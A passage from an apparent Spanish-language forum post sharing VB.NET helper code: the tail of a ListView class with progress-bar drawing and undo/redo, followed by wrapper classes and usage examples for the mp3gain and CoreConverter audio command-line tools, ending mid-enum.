ElseIf e.ColumnIndex = 0 Then
e.Graphics.FillRectangle(highlightBrush, highlightBounds)
Else
e.DrawBackground()
End If
End If
e.DrawText()
If _gridLines Then
e.Graphics.DrawRectangle(New Pen(_gridLineColor), e.Bounds)
End If
If FullRowSelect Then
e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Entire))
Else
e.DrawFocusRectangle(e.Item.GetBounds(ItemBoundsPortion.Label))
End If
MyBase.OnDrawSubItem(e)
End Sub
#End Region
#Region " ProgressBar Properties "
''' <summary>
''' Enables the drawing of a ProgressBar
''' This property should be "True" to use any of the ProgressBar properties.
''' </summary>
Public Property Enable_ProgressBar As Boolean
Get
Return _enable_progressbar
End Get
Set(ByVal value As Boolean)
Me.OwnerDraw = value
_enable_progressbar = value
End Set
End Property
''' <summary>
''' The column index to draw the ProgressBar
''' </summary>
Public Property Progressbar_Column As Integer
Get
Return _progressbar_column
End Get
Set(ByVal value As Integer)
_progressbar_column = value
End Set
End Property
''' <summary>
''' The ProgressBar progress percentage
''' </summary>
Public Property Percent As Double
Get
Return _percent
End Get
Set(ByVal value As Double)
_percent = value
End Set
End Property
''' <summary>
''' The decimal factor which should be displayed for the ProgressBar progress percentage
''' </summary>
Public Property Percent_Decimal As Short
Get
Return _percent_decimal
End Get
Set(ByVal value As Short)
_percent_decimal = value
End Set
End Property
''' <summary>
''' The Font to be used as the ProgressBar Percent text
''' </summary>
Public Property Percent_Font As Font
Get
Return _percent_font
End Get
Set(ByVal value As Font)
_percent_font = value
End Set
End Property
''' <summary>
''' The additional text to add to the ProgressBar Percent value
''' </summary>
Public Property Percent_Text As String
Get
Return _percent_text
End Get
Set(ByVal value As String)
_percent_text = value
End Set
End Property
''' <summary>
''' The ForeColor of the ProgressBar Percent Text
''' </summary>
Public Property Percent_Forecolor As Color
Get
Return _percent_forecolor.Color
End Get
Set(ByVal value As Color)
_percent_forecolor = New SolidBrush(value)
End Set
End Property
''' <summary>
''' The text allignment to use for the ProgressBar
''' </summary>
Public Property Percent_Text_Allignment As StringAlignment
Get
Return _percent_stringformat.Alignment
End Get
Set(ByVal value As StringAlignment)
_percent_stringformat.Alignment = value
End Set
End Property
''' <summary>
''' The ProgressBar BackColor
''' </summary>
Public Property ProgressBar_BackColor As Color
Get
Return _progressBar_backcolor.Color
End Get
Set(ByVal value As Color)
_progressBar_backcolor = New SolidBrush(value)
End Set
End Property
''' <summary>
''' The ProgressBar BorderColor
''' </summary>
Public Property ProgressBar_BorderColor As Color
Get
Return _progressBar_bordercolor.Color
End Get
Set(ByVal value As Color)
_progressBar_bordercolor = New Pen(value)
End Set
End Property
''' <summary>
''' The First ProgressBar Gradient color
''' </summary>
Public Property ProgressBar_FillColor1 As Color
Get
Return _progressBar_fillcolor1
End Get
Set(ByVal value As Color)
_progressBar_fillcolor1 = value
End Set
End Property
''' <summary>
''' The Last ProgressBar Gradient color
''' </summary>
Public Property ProgressBar_FillColor2 As Color
Get
Return _progressBar_fillcolor2
End Get
Set(ByVal value As Color)
_progressBar_fillcolor2 = value
End Set
End Property
#End Region
#Region " ProgressBar EventHandlers "
' ListView [DrawColumnHeader]
Public Sub Me_DrawColumnHeader(ByVal sender As Object, ByVal e As DrawListViewColumnHeaderEventArgs) _
Handles Me.DrawColumnHeader
e.DrawDefault = True ' Draw default ColumnHeader.
End Sub
' ListView [DrawItem]
Public Sub Me_DrawItem(ByVal sender As Object, ByVal e As DrawListViewItemEventArgs) _
Handles Me.DrawItem
e.DrawDefault = False ' Draw default main item.
End Sub
' ListView [DrawSubItem]
Public Sub Me_DrawSubItem(ByVal sender As Object, ByVal e As DrawListViewSubItemEventArgs) _
Handles Me.DrawSubItem
If Not Enable_ProgressBar OrElse Progressbar_Column = Nothing Then
Exit Sub
End If
' Item is highlighted.
' If (e.ItemState And ListViewItemStates.Selected) <> 0 Then
' e.Graphics.FillRectangle(SystemBrushes.Highlight, e.Bounds)
' End If
' Draw the progressbar.
If e.ColumnIndex = Progressbar_Column Then
' Background color of the progressbar.
e.Graphics.FillRectangle(_progressBar_backcolor, e.Bounds)
' Gradient to fill the progressbar.
Dim brGradient As Brush = _
New System.Drawing.Drawing2D.LinearGradientBrush(New Rectangle(e.Bounds.X, e.Bounds.Y, e.Bounds.Width, e.Bounds.Height), _
ProgressBar_FillColor1, ProgressBar_FillColor2, 270, True)
' Draw the actual progressbar.
e.Graphics.FillRectangle(brGradient, _
e.Bounds.X + 1, e.Bounds.Y + 2, _
CInt(((Percent) / 100) * (e.Bounds.Width - 2)), e.Bounds.Height - 3)
' Draw the percentage number and percent sign.
e.Graphics.DrawString(Percent.ToString("n" & Percent_Decimal) & Percent_Text, _
Percent_Font, _percent_forecolor, _
CSng(e.Bounds.X + (e.Bounds.Width / 2)), e.Bounds.Y + 3, _
_percent_stringformat)
' Draw a light gray rectangle/border around the progressbar.
e.Graphics.DrawRectangle(_progressBar_bordercolor, _
e.Bounds.X, e.Bounds.Y + 1, _
e.Bounds.Width - 1, e.Bounds.Height - 2)
Else
' e.DrawDefault = True
End If
End Sub
#End Region
#Region " Undo/Redo Manager "
''' <summary>
''' Enable or disble the Undo/Redo monitoring.
''' </summary>
Public Property Enable_UndoRedo_Manager As Boolean = False
' Stacks to store Undo/Redo actions.
Public Undostack As New Stack(Of ListView_Action)
Public Redostack As New Stack(Of ListView_Action)
' Flags to check if it is doing a Undo/Redo operation.
Private IsDoingUndo As Boolean = False
Private IsDoingRedo As Boolean = False
' Delegate to Add an Item for Undo/Redo operations.
Private Delegate Sub AddDelegate(item As ListViewItem)
' Delegate to Remove an Item for Undo/Redo operations.
Private Delegate Sub RemoveDelegate(item As ListViewItem)
' The Undo/Redo action.
Private action As ListView_Action = Nothing
' The operation.
Public Enum Operation As Short
Undo = 0
Redo = 1
End Enum
' The method for the Undo/Redo operation.
Public Enum Method As Short
Add = 0
Remove = 1
End Enum
''' <summary>
''' Creates a Undo/Redo Action.
''' </summary>
Class ListView_Action
''' <summary>
''' Names the Undo/Redo Action.
''' </summary>
Property Name As String
''' <summary>
''' Points to a method to excecute.
''' </summary>
Property Operation As [Delegate]
''' <summary>
''' Method of the Undo/Redo operation.
''' </summary>
Property Method As Method
''' <summary>
''' Data Array for the method to excecute.
''' </summary>
Property Data As ListViewItem
End Class
''' <summary>
''' This event is raised after an Undo/Redo action is performed.
''' </summary>
Public Event UndoRedo_IsPerformed As EventHandler(Of UndoneRedoneEventArgs)
Public Class UndoneRedoneEventArgs : Inherits EventArgs
Property Operation As Operation
Property Method As Method
Property Item As ListViewItem
Property UndoStack As Stack(Of ListView_Action)
Property RedoStack As Stack(Of ListView_Action)
End Class
''' <summary>
''' This event is raised when Undo/Redo Stack size changed.
''' </summary>
Public Event UndoRedo_StackSizeChanged As EventHandler(Of StackSizeChangedEventArgs)
Public Class StackSizeChangedEventArgs : Inherits EventArgs
Property UndoStack As Stack(Of ListView_Action)
Property RedoStack As Stack(Of ListView_Action)
Property UndoStackIsEmpty As Boolean
Property RedoStackIsEmpty As Boolean
End Class
''' <summary>
''' Undo the last action.
''' </summary>
Public Sub Undo()
If Me.Undostack.Count = 0 Then Exit Sub ' Nothing to Undo.
Me.IsDoingUndo = True
Me.action = Me.Undostack.Pop ' Get the Action from the Stack and remove it.
Me.action.Operation.DynamicInvoke(Me.action.Data) ' Invoke the undo Action.
Me.IsDoingUndo = False
Raise_UndoRedo_IsPerformed(Operation.Undo, Me.action.Method, Me.action.Data)
End Sub
''' <summary>
''' Redo the last action.
''' </summary>
Public Sub Redo()
If Me.Redostack.Count = 0 Then Exit Sub ' Nothing to Redo.
Me.IsDoingRedo = True
Me.action = Me.Redostack.Pop() ' Get the Action from the Stack and remove it.
Me.action.Operation.DynamicInvoke(Me.action.Data) ' Invoke the redo Action.
Me.IsDoingRedo = False
Raise_UndoRedo_IsPerformed(Operation.Redo, Me.action.Method, Me.action.Data)
End Sub
' Reverses an Undo/Redo action
Private Function GetReverseAction(ByVal e As UndoneRedoneEventArgs) As ListView_Action
Me.action = New ListView_Action
Me.action.Name = e.Item.Text
Me.action.Data = e.Item
Me.action.Operation = If(e.Method = Method.Add, _
New RemoveDelegate(AddressOf Me.RemoveItem), _
New AddDelegate(AddressOf Me.AddItem))
Me.action.Method = If(e.Method = Method.Add, _
Method.Remove, _
Method.Add)
Return Me.action
End Function
' Raises the "UndoRedo_IsPerformed" Event
Private Sub Raise_UndoRedo_IsPerformed(ByVal Operation As Operation, _
ByVal Method As Method, _
ByVal Item As ListViewItem)
RaiseEvent UndoRedo_IsPerformed(Me, New UndoneRedoneEventArgs _
With {.Item = Item, _
.Method = Method, _
.Operation = Operation, _
.UndoStack = Me.Undostack, _
.RedoStack = Me.Redostack})
Raise_UndoRedo_StackSizeChanged()
End Sub
' Raises the "UndoRedo_StackSizeChanged" Event
Private Sub Raise_UndoRedo_StackSizeChanged()
RaiseEvent UndoRedo_StackSizeChanged(Me, New StackSizeChangedEventArgs _
With {.UndoStack = Me.Undostack, _
.RedoStack = Me.Redostack, _
.UndoStackIsEmpty = Me.Undostack.Count = 0, _
.RedoStackIsEmpty = Me.Redostack.Count = 0})
End Sub
' This handles when an Undo or Redo operation is performed.
Private Sub UndoneRedone(ByVal sender As Object, ByVal e As UndoneRedoneEventArgs) _
Handles Me.UndoRedo_IsPerformed
Select Case e.Operation
Case Operation.Undo
' Create a Redo Action for the undone action.
Me.Redostack.Push(GetReverseAction(e))
Case Operation.Redo
' Create a Undo Action for the redone action.
Me.Undostack.Push(GetReverseAction(e))
End Select
End Sub
' Monitors when an Item is added to create an Undo Operation.
Private Sub OnItemAdded(sender As Object, e As ItemAddedEventArgs) _
Handles Me.ItemAdded
If Me.Enable_UndoRedo_Manager _
AndAlso (Not Me.IsDoingUndo And Not Me.IsDoingRedo) Then
Me.Redostack.Clear()
' // Crate an Undo Action
Me.action = New ListView_Action
Me.action.Name = e.Item.Text
Me.action.Operation = New RemoveDelegate(AddressOf Me.RemoveItem)
Me.action.Data = e.Item
Me.action.Method = Method.Remove
Me.Undostack.Push(action)
Raise_UndoRedo_StackSizeChanged()
End If
End Sub
' Monitors when an Item is removed to create an Undo Operation.
Private Sub OnItemRemoved(sender As Object, e As ItemRemovedEventArgs) _
Handles Me.ItemRemoved
If Me.Enable_UndoRedo_Manager _
AndAlso (Not Me.IsDoingUndo And Not Me.IsDoingRedo) Then
Me.Redostack.Clear()
' // Crate an Undo Action
Me.action = New ListView_Action
Me.action.Name = e.Item.Text
Me.action.Operation = New AddDelegate(AddressOf Me.AddItem)
Me.action.Data = e.Item
Me.action.Method = Method.Add
Me.Undostack.Push(action)
Raise_UndoRedo_StackSizeChanged()
End If
End Sub
#End Region
End Class
Una versión mejorada de mi ayudante para la aplicación mp3gain... mejoré lo que pude el código y le añadi algunos eventos esenciales...
Un ejemplo de uso:
Public Class Form1
Private WithEvents _mp3gain As New mp3gain _
With {.mp3gain_location = "C:\windows\system32\mp3gain.exe",
.CheckFileExist = True}
Private Sub Test() Handles MyBase.Shown
' Checks if mp3gain executable is avaliable.
MsgBox(_mp3gain.Is_Avaliable())
' Checks if file contains APEv2 mp3gain tag
MsgBox(_mp3gain.File_Has_MP3Gain_Tag("C:\File.mp3"))
' Set the global volume Gain of file to "89" db (In a scale of "0-100"),
' and preserve the datetime of file.
_mp3gain.Set_Gain("C:\File.mp3", 89, True)
' Apply a volume change of +5 db,
' in the curent global volume gain of file.
_mp3gain.Apply_Gain("C:\File.mp3", +5)
' Apply a volume change of -5 db,
' in the curent global volume gain of file.
_mp3gain.Apply_Gain("C:\File.mp3", -5)
' Apply a volume change of +10 db,
' in the curent volume gain of the Left channel of an Stereo file.
_mp3gain.Apply_Channel_Gain("C:\File.mp3", mp3gain.Channel.Left, +10)
' Apply a volume change of -10 db,
' in the curent volume gain of the Right channel of an Stereo file.
_mp3gain.Apply_Channel_Gain("C:\File.mp3", mp3gain.Channel.Right, -10)
' Undos all volume gain changes made in file.
_mp3gain.Undo_Gain("C:\File.mp3")
End Sub
' mp3gain [Started]
Private Sub mp3gain_Started(ByVal sender As Process, ByVal e As mp3gain.StartedEventArgs) _
Handles _mp3gain.Started
ProgressBar1.Value = ProgressBar1.Minimum
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("mp3gain process PID is: ""{0}""", CStr(sender.Id)))
MessageBox.Show(sb.ToString, "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' mp3gain [Exited]
Private Sub mp3gain_Exited(ByVal sender As Process, ByVal e As mp3gain.ExitedEventArgs) _
Handles _mp3gain.Exited
Dim sb As New System.Text.StringBuilder
If e.Operation <> mp3gain.Operation.Check_Tag Then
sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("mp3gain process PID is: {0}", CStr(sender.Id)))
If Not String.IsNullOrEmpty(e.InfoMessage) Then
sb.AppendLine(String.Format("Operation Information: {0}", e.InfoMessage))
End If
If Not String.IsNullOrEmpty(e.ErrorMessage) Then
sb.AppendLine(String.Format("Error Information: {0}", e.ErrorMessage))
End If
If e.db <> 0 Then
sb.AppendLine(String.Format("Volume gain change: {0}", CStr(e.db)))
End If
MessageBox.Show(sb.ToString, "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Information)
End If
End Sub
' mp3gain [Progress]
Sub mp3gain_Progress(sender As Process, e As mp3gain.ProgressEventArgs) _
Handles _mp3gain.Progress
ProgressBar1.Value = e.Percent
End Sub
End Class
El ayudante:
' [ mp3gain Helper ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "mp3gain.exe" into the project.
#region " mp3gain Helper "
Public Class mp3gain : Implements IDisposable
#Region " CommandLine parametter legend "
' /c - Ignore clipping warning when applying gain.
' /d - Set global gain.
' /e - Skip Album analysis, even if multiple files listed.
' /g - apply gain
' /p - Preserve original file timestamp.
' /r - apply Track gain automatically (all files set to equal loudness)
' /t - Writes modified data to temp file, then deletes original instead of modifying bytes in original file.
' /u - Undo changes made (based on stored APEv2 mp3gain tag info).
' /s c - Check stored APEv2 mp3gain tag info.
#End Region
#Region " Variables, Properties, Enumerations "
''' <summary>
''' Gets or sets the mp3gain.exe executable path.
''' </summary>
Public Property mp3gain_location As String = ".\mp3gain.exe"
''' <summary>
''' Indicates if should check that the file exist before realize an operation.
''' If True, an exception would be launched if file does not exist.
''' </summary>
Public Property CheckFileExist As Boolean = False
''' <summary>
''' Sets a Flag to indicate if file has APEv2 mp3gain tag or not.
''' </summary>
Private HasTag As Boolean = False
''' <summary>
''' Stores the StandardOutput.
''' </summary>
Private Output As String() = Nothing
''' <summary>
''' Stores an information message of the realized operation (if any).
''' </summary>
Private InfoMessage As String = String.Empty
''' <summary>
''' Stores an error message of the realized operation (if any).
''' </summary>
Private ErrorMessage As String = String.Empty
''' <summary>
''' Stores the volume gain level change applied to file (if any).
''' </summary>
Private db As Integer = 0
''' <summary>
''' Gets some information about the file.
''' </summary>
Private db_RegEx As New System.Text.RegularExpressions.Regex("Applying.+change of (.*) to",
System.Text.RegularExpressions.RegexOptions.None)
''' <summary>
''' Process to realize an operation,
''' for files that already contains APEv2 mp3gain tag.
''' Also is used to realize a single TagCheck operation.
''' </summary>
Private Process_For_Tag As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True,
.UseShellExecute = False,
.RedirectStandardError = False,
.RedirectStandardOutput = True
}
}
''' <summary>
''' Process to realize an operation,
''' for files that does not contains mp3gain Tag.
''' </summary>
Private Process_For_NonTag As Process =
New Process With {.StartInfo =
New ProcessStartInfo With {
.CreateNoWindow = True,
.UseShellExecute = False,
.RedirectStandardError = True,
.RedirectStandardOutput = True
}
}
''' <summary>
''' Stores the StartedEventArgs Arguments.
''' </summary>
Private StartedArgs As New StartedEventArgs
''' <summary>
''' Stores the ExitedEventArgs Arguments.
''' </summary>
Private ExitedArgs As New ExitedEventArgs
''' <summary>
''' Stores the ProgressEventArgs Arguments.
''' </summary>
Private ProgressArgs As New ProgressEventArgs
''' <summary>
''' File Stereo Channel.
''' </summary>
Public Enum Channel As Short
Left = 0 ' /l 0
Right = 1 ' /l 1
End Enum
''' <summary>
''' MP3Gain Type Of Operation.
''' </summary>
Public Enum Operation
Check_Tag = 0
Apply_Gain = 1
Apply_Channel_Gain = 2
Set_Gain = 3
Undo_Gain = 4
End Enum
#End Region
#Region " Events "
''' <summary>
''' Event raised when the process has started.
''' </summary>
Public Event Started As EventHandler(Of StartedEventArgs)
Public Class StartedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
End Class
''' <summary>
''' Event raised when the process has exited.
''' </summary>
Public Event Exited As EventHandler(Of ExitedEventArgs)
Public Class ExitedEventArgs : Inherits EventArgs
''' <summary>
''' Gets the file that was passed as argument to the process.
''' </summary>
Public Property File As String
''' <summary>
''' Gets the type of operation to realize.
''' </summary>
Public Property Operation As Operation
''' <summary>
''' Gets the information message of the realized operation (if any).
''' </summary>
Public Property InfoMessage As String
''' <summary>
''' Gets the error message of the realized operation (if any).
''' </summary>
Public Property ErrorMessage As String
''' <summary>
''' Gets the volume gain level change applied to file (if any).
''' </summary>
Public Property db As Integer
End Class
''' <summary>
''' Event raised when the process progress changes.
''' </summary>
Public Event Progress As EventHandler(Of ProgressEventArgs)
Public Class ProgressEventArgs : Inherits EventArgs
''' <summary>
''' Gets the process operation percent done.
''' </summary>
Public Property Percent As Integer
End Class
#End Region
#Region " MP3Gain Procedures "
''' <summary>
''' Checks if mp3gain.exe process is avaliable.
''' </summary>
Public Function Is_Avaliable() As Boolean
Return IO.File.Exists(Me.mp3gain_location)
End Function
''' <summary>
''' Checks if APEv2 mp3gain tag exists in file.
''' </summary>
Public Function File_Has_MP3Gain_Tag(ByVal MP3_File As String) As Boolean
Run_MP3Gain(MP3_File,
Operation.Check_Tag,
String.Format("/s c ""{0}""", MP3_File),
True)
Return HasTag
End Function
''' <summary>
''' Set the global volume gain of file.
''' </summary>
Public Sub Set_Gain(ByVal MP3_File As String,
ByVal Gain As Integer,
Optional ByVal Preserve_Datestamp As Boolean = True)
File_Has_MP3Gain_Tag(MP3_File)
Run_MP3Gain(MP3_File,
Operation.Set_Gain,
String.Format("/c /e /r /t {1} /d {2} ""{0}""",
MP3_File,
If(Preserve_Datestamp, "/p", ""),
If(Gain < 0, Gain + 89.0, Gain - 89.0)),
False)
End Sub
''' <summary>
''' Apply a volume gain change to file.
''' </summary>
Public Sub Apply_Gain(ByVal MP3_File As String,
ByVal Gain As Integer,
Optional ByVal Preserve_Datestamp As Boolean = True)
File_Has_MP3Gain_Tag(MP3_File)
Run_MP3Gain(MP3_File,
Operation.Apply_Gain,
String.Format("/c /e /r /t {1} /g {2} ""{0}""",
MP3_File,
If(Preserve_Datestamp, "/p", ""),
Gain),
False)
End Sub
''' <summary>
''' Apply a volume gain change to file only in left or right channel.
''' Only works for Stereo MP3 files.
''' </summary>
Public Sub Apply_Channel_Gain(ByVal MP3_File As String,
ByVal Channel As Channel,
ByVal Gain As Integer,
Optional ByVal Preserve_Datestamp As Boolean = True)
File_Has_MP3Gain_Tag(MP3_File)
Run_MP3Gain(MP3_File,
Operation.Apply_Channel_Gain,
String.Format("/c /e /r /l {2} {3} ""{0}""",
MP3_File,
If(Preserve_Datestamp, "/p", ""),
If(Channel = Channel.Left, 0, 1),
Gain),
False)
End Sub
''' <summary>
''' Undos all mp3gain volume changes made in a file,
''' based on stored APEv2 mp3gain tag info.
''' </summary>
Public Sub Undo_Gain(ByVal MP3_File As String,
Optional ByVal Preserve_Datestamp As Boolean = True)
File_Has_MP3Gain_Tag(MP3_File)
Run_MP3Gain(MP3_File,
Operation.Undo_Gain,
String.Format("/c /t {1} /u ""{0}""",
MP3_File,
If(Preserve_Datestamp, "/p", "")),
False)
End Sub
#End Region
#Region " Run Procedures "
''' <summary>
''' Run MP3Gain process.
''' </summary>
Private Sub Run_MP3Gain(ByVal MP3_File As String,
ByVal operation As Operation,
ByVal Parametters As String,
ByVal IsCheckTagOperation As Boolean)
If Me.CheckFileExist Then
FileExist(MP3_File)
End If
With Process_For_Tag.StartInfo
.FileName = Me.mp3gain_location
.Arguments = Parametters
End With
With Process_For_NonTag.StartInfo
.FileName = Me.mp3gain_location
.Arguments = Parametters
End With
' Reset Variables before relaize the operation.
InfoMessage = Nothing
ErrorMessage = Nothing
db = 0
' Check if file has APEv2 mp3gain tag or not,
' before doing any other operation.
If IsCheckTagOperation Then
Run_MP3Gain_For_Tag(Process_For_Tag, MP3_File, operation.Check_Tag, True)
Exit Sub ' If only would to check the tag then exit from this sub.
Else ' Else, continue with the operation (Modify volume gain)...
Select Case HasTag
Case True
Run_MP3Gain_For_Tag(Process_For_Tag, MP3_File, operation, False)
Case False
Run_MP3Gain_For_NonTag(Process_For_NonTag, MP3_File, operation)
End Select ' HasTag
End If ' IsCheckTagOperation
End Sub
''' <summary>
''' Runs mp3gain for files that already contains APEv2 mp3gain tag.
''' </summary>
Private Sub Run_MP3Gain_For_Tag(ByVal p As Process,
ByVal MP3_File As String,
ByVal operation As Operation,
ByVal IsTagCheckOperation As Boolean)
p.Start()
RaiseEvent_Started(p, MP3_File, operation)
p.WaitForExit()
If IsTagCheckOperation Then
HasTag = CBool(p.StandardOutput.ReadToEnd.Trim.Split(Environment.NewLine).Count - 1)
End If
ProgressArgs.Percent = 100
RaiseEvent Progress(p, ProgressArgs)
SetMessages(p.StandardOutput.ReadToEnd())
RaiseEvent_Exited(p,
MP3_File,
operation,
If(IsTagCheckOperation, "File Has Tag?: " & CStr(HasTag), InfoMessage),
ErrorMessage,
db)
' p.Close()
End Sub
''' <summary>
''' Runs mp3gain for files that doesn't contains APEv2 mp3gain tag.
''' </summary>
Private Sub Run_MP3Gain_For_NonTag(ByVal p As Process,
ByVal MP3_File As String,
ByVal operation As Operation)
p.Start()
RaiseEvent_Started(p, MP3_File, operation)
Do Until p.HasExited
Try
ProgressArgs.Percent = CInt(p.StandardError.ReadLine.Split("%").First.Trim)
If ProgressArgs.Percent < 101 Then
RaiseEvent Progress(p, ProgressArgs)
End If
Catch
End Try
Loop
ProgressArgs.Percent = 100
RaiseEvent Progress(p, ProgressArgs)
SetMessages(p.StandardOutput.ReadToEnd())
RaiseEvent_Exited(p,
MP3_File,
operation,
InfoMessage,
ErrorMessage,
db)
' p.Close()
End Sub
#End Region
#Region " Miscellaneous Procedures "
''' <summary>
''' Checks if a file exists.
''' </summary>
Private Sub FileExist(ByVal File As String)
If Not IO.File.Exists(File) Then
Throw New Exception(String.Format("File doesn't exist: ""{0}""", File))
' MessageBox.Show(String.Format("File doesn't exist: ""{0}""", File), "mp3gain", MessageBoxButtons.OK, MessageBoxIcon.Error)
End If
End Sub
''' <summary>
''' Raises the Event Started
''' </summary>
Private Sub RaiseEvent_Started(ByVal p As Process,
ByVal file As String,
ByVal operation As Operation)
With StartedArgs
.File = file
.Operation = operation
End With
RaiseEvent Started(p, StartedArgs)
End Sub
''' <summary>
''' Raises the Event Exited
''' </summary>
Private Sub RaiseEvent_Exited(ByVal p As Process,
ByVal file As String,
ByVal operation As Operation,
ByVal InfoMessage As String,
ByVal ErrorMessage As String,
ByVal db As Integer)
With ExitedArgs
.File = file
.Operation = operation
.InfoMessage = InfoMessage
.ErrorMessage = ErrorMessage
.db = db
End With
RaiseEvent Exited(p, ExitedArgs)
End Sub
''' <summary>
''' Sets the InfoMessage, ErrorMessage and db variables.
''' </summary>
Private Sub SetMessages(ByVal StandardOutput As String)
Output = StandardOutput.
Split(Environment.NewLine).
Select(Function(line) line.Replace(Environment.NewLine, "").Trim).
Where(Function(null) Not String.IsNullOrEmpty(null)).ToArray
For Each line In Output
Select Case True
Case line.StartsWith("No changes")
InfoMessage = "No volume gain changes are necessary."
Case line.StartsWith("Applying")
db = db_RegEx.Match(line).Groups(1).Value
If String.IsNullOrEmpty(InfoMessage) Then
InfoMessage = line
End If
Case line.StartsWith("Can't")
ErrorMessage = line
End Select
Next line
End Sub
#End Region
#Region " IDisposable "
''' <summary>
''' Disposes the objects generated by this instance.
''' </summary>
Public Sub Dispose() Implements IDisposable.Dispose
Dispose(True)
GC.SuppressFinalize(Me)
End Sub
Protected Overridable Sub Dispose(IsDisposing As Boolean)
Static IsBusy As Boolean ' To detect redundant calls.
If Not IsBusy AndAlso IsDisposing Then
Process_For_Tag.Dispose()
Process_For_NonTag.Dispose()
End If
IsBusy = True
End Sub
#End Region
End Class
#End Region
Una versión mejorada de mi ayudante para la aplicación CoreConverter... mejoré lo que pude el código y le añadi algunos eventos esenciales...
Un ejemplo de uso:
Public Class Form1
Private WithEvents _converter As New CoreConverter _
With {.CoreConverter_location = "C:\windows\system32\coreconverter.exe",
.CheckFileExist = True}
Private Sub Test() Handles MyBase.Shown
' Checks if CoreConverter executable is avaliable.
MsgBox(_converter.Is_Avaliable())
' Convert a file to MP3
_converter.Convert_To_MP3("C:\Input.wav", "C:\Output.mp3",
CoreConverter.Lame_Bitrate.kbps_320,
CoreConverter.Lame_Bitrate_Mode.cbr,
CoreConverter.Lame_Profile.SLOW,
CoreConverter.Lame_Quality.Q0_Maximum,
CoreConverter.Lame_Khz.Same_As_Source,
CoreConverter.Lame_Channels.auto,
{
CoreConverter.DSP_Effects.Delete_Output_File_on_Error,
CoreConverter.DSP_Effects.Recycle_Source_File_After_Conversion
},
False,
CoreConverter.Priority.normal)
' Convert a file to WAV
_converter.Convert_To_WAV_Uncompressed("C:\Input.mp3", "C:\Output.wav", _
CoreConverter.WAV_Uncompressed_Bitrate.Same_As_Source, _
CoreConverter.WAV_Uncompressed_Khz.Same_As_Source, _
CoreConverter.WAV_Uncompressed_Channels.Same_As_Source, , False)
' Convert a file to WMA
_converter.Convert_To_WMA("C:\Input.mp3", "C:\Output.wma", _
CoreConverter.WMA_9_2_BitRates.Kbps_128, _
CoreConverter.WMA_9_2_Khz.Khz_44100, _
CoreConverter.WMA_9_2_Channels.stereo, , False)
End Sub
' CoreConverter [Started]
Private Sub CoreConverter_Started(ByVal sender As Process, ByVal e As CoreConverter.StartedEventArgs) _
Handles _converter.Started
ProgressBar1.Value = ProgressBar1.Minimum
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Started an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("CoreConverter process PID is: ""{0}""", CStr(sender.Id)))
MessageBox.Show(sb.ToString, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' CoreConverter [Exited]
Private Sub CoreConverter_Exited(ByVal sender As Process, ByVal e As CoreConverter.ExitedEventArgs) _
Handles _converter.Exited
Dim sb As New System.Text.StringBuilder
sb.AppendLine(String.Format("Finished an ""{0}"" operation", e.Operation.ToString))
sb.AppendLine(String.Format("Input file is: ""{0}""", e.File))
sb.AppendLine(String.Format("CoreConverter process PID is: {0}", CStr(sender.Id)))
If Not String.IsNullOrEmpty(e.InfoMessage) Then
sb.AppendLine(String.Format("Operation Information: {0}", e.InfoMessage))
End If
If Not String.IsNullOrEmpty(e.ErrorMessage) Then
sb.AppendLine(String.Format("Error Information: {0}", e.ErrorMessage))
End If
If Not String.IsNullOrEmpty(e.ElapsedTime) Then
sb.AppendLine(String.Format("Total elapsed time: {0}", e.ElapsedTime))
End If
MessageBox.Show(sb.ToString, "CoreConverter", MessageBoxButtons.OK, MessageBoxIcon.Information)
End Sub
' CoreConverter [Progress]
Sub CoreConverter_Progress(sender As Process, e As CoreConverter.ProgressEventArgs) _
Handles _converter.Progress
ProgressBar1.Value = e.Percent
End Sub
End Class
El ayudante:
' [ CoreConverter Helper ]
'
' // By Elektro H@cker
'
' Instructions:
' 1. Add the "CoreConverter.exe" into the project,
' together with dbPoweramp Effects and Codec folders.
#Region " CoreConverter Helper "
Public Class CoreConverter : Implements IDisposable
#Region " Variables, Properties, Enumerations "
''' <summary>
''' Gets or sets CoreConverter.exe executable path.
''' </summary>
Public Property CoreConverter_location As String = ".\CoreConverter.exe"
''' <summary>
''' Indicates if should check that the file exist before realize an operation.
''' If True, an exception would be launched if file does not exist.
''' </summary>
Public Property CheckFileExist As Boolean = False
''' <summary>
''' Stores the converter process progress
''' </summary>
Private CurrentProgress As Integer = 0
''' <summary>
''' Stores an information message of the realized operation (if any).
''' </summary>
Private InfoMessage As String = Nothing
''' <summary>
''' Stores an error message of the realized operation (if any).
''' </summary>
Private ErrorMessage As String = Nothing
''' <summary>
''' Stores the next converter process output character.
''' </summary>
Private OutputCharacter As Char = Nothing
''' <summary>
''' Stores the DSP Effects formatted string.
''' </summary>
Private Effects As String = Nothing
''' <summary>
''' Stores the total elapsed time of conversion.
''' </summary>
Private ElapsedTime As String = Nothing
''' <summary>
''' Stores additional information about the conversion.
''' </summary>
Private ExtraInfo() As String = Nothing
''' <summary>
''' Stores the StartedEventArgs Arguments.
''' </summary>
Private StartedArgs As New StartedEventArgs
''' <summary>
''' Stores the ExitedEventArgs Arguments.
''' </summary>
Private ExitedArgs As New ExitedEventArgs
''' <summary>
''' Stores the ProgressEventArgs Arguments.
''' </summary>
Private ProgressArgs As New ProgressEventArgs
''' <summary>
''' CoreConverter Type Of Operation.
''' </summary>
Public Enum Operation
MP3_Conversion = 0
WAV_Conversion = 1
WMA_Conversion = 2
End Enum
''' <summary>
''' Priority level of CoreConverter process.
''' </summary>
Public Enum Priority
idle
low
normal
